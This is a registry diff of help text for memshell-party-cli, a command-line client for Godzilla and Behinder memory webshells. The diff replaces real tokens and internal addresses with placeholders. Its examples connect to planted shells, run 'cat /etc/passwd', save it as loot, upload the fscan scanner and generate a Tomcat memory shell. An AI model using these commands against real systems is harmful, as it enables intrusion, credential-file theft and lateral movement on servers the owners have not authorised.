memshell-party-cli 0.3.3 → 0.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1784,9 +1784,9 @@ function registerConnectCommand(program) {
1784
1784
  `
1785
1785
  Examples:
1786
1786
  $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\
1787
- --header-value qSGAJScj
1787
+ --header-value my-secret-token
1788
1788
  $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
1789
- --header-value YdwTyuQr
1789
+ --header-value my-secret-token
1790
1790
  $ memparty connect -u http://target/suo5.jsp -t suo5
1791
1791
  $ memparty connect web222 # saved target, see 'memparty list'
1792
1792
  $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
@@ -1908,9 +1908,9 @@ function registerExecCommand(program) {
1908
1908
  `
1909
1909
  Examples:
1910
1910
  $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\
1911
- --header-value qSGAJScj --cmd "whoami"
1911
+ --header-value my-secret-token --cmd "whoami"
1912
1912
  $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
1913
- --header-value YdwTyuQr --cmd "cat /etc/passwd"
1913
+ --header-value my-secret-token --cmd "cat /etc/passwd"
1914
1914
  $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
1915
1915
  $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
1916
1916
  --cmd "ipconfig /all" --json
@@ -2416,8 +2416,8 @@ Examples:
2416
2416
  $ memparty log # latest 50 operations
2417
2417
  $ memparty log --category exec # only command executions
2418
2418
  $ memparty log --category save # only target saves
2419
- $ memparty log --target hw222 # everything against project hw222
2420
- $ memparty log --category exec --target 192.168.31.222 --json
2419
+ $ memparty log --target web1 # everything against project web1
2420
+ $ memparty log --category exec --target 192.0.2.10 --json
2421
2421
  `
2422
2422
  ).action((opts) => {
2423
2423
  const limit = Number.parseInt(opts.limit ?? "50", 10);
@@ -3546,11 +3546,11 @@ function registerTargetCommand(program) {
3546
3546
  "after",
3547
3547
  `
3548
3548
  Examples:
3549
- $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
3550
- -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
3549
+ $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
3550
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
3551
3551
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
3552
3552
  $ memparty list # show saved targets
3553
- $ memparty exec hw222/bh9060 --cmd "whoami"
3553
+ $ memparty exec web1/bh9060 --cmd "whoami"
3554
3554
 
3555
3555
  Note: connect/exec already auto-save a verified shell as <host>/<tool>;
3556
3556
  save is for choosing the name by hand.
@@ -3775,7 +3775,7 @@ function registerDownloadCommand(program) {
3775
3775
  `
3776
3776
  Examples:
3777
3777
  $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
3778
- --header-value qSGAJScj /etc/passwd -o loot-passwd
3778
+ --header-value my-secret-token /etc/passwd -o loot-passwd
3779
3779
  $ memparty download web222 C:\\Windows\\win.ini # saved target
3780
3780
  $ memparty download web222 /var/log/app.log -o logs/ --json
3781
3781
 
@@ -3873,7 +3873,7 @@ function registerUploadCommand(program) {
3873
3873
  `
3874
3874
  Examples:
3875
3875
  $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
3876
- --header-value YdwTyuQr fscan.exe C:\\Windows\\Temp\\f.exe
3876
+ --header-value my-secret-token fscan.exe C:\\Windows\\Temp\\f.exe
3877
3877
  $ memparty upload web222 ./agent.jar /tmp/agent.jar --json
3878
3878
 
3879
3879
  Upload overwrites the remote file (truncate + write). Integrity: godzilla
@@ -4093,7 +4093,7 @@ function buildProgram() {
4093
4093
  Quick start:
4094
4094
  $ memparty gen # interactive memory-shell wizard
4095
4095
  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
4096
- $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
4096
+ $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token
4097
4097
  $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
4098
4098
  $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
4099
4099
  $ memparty list # saved targets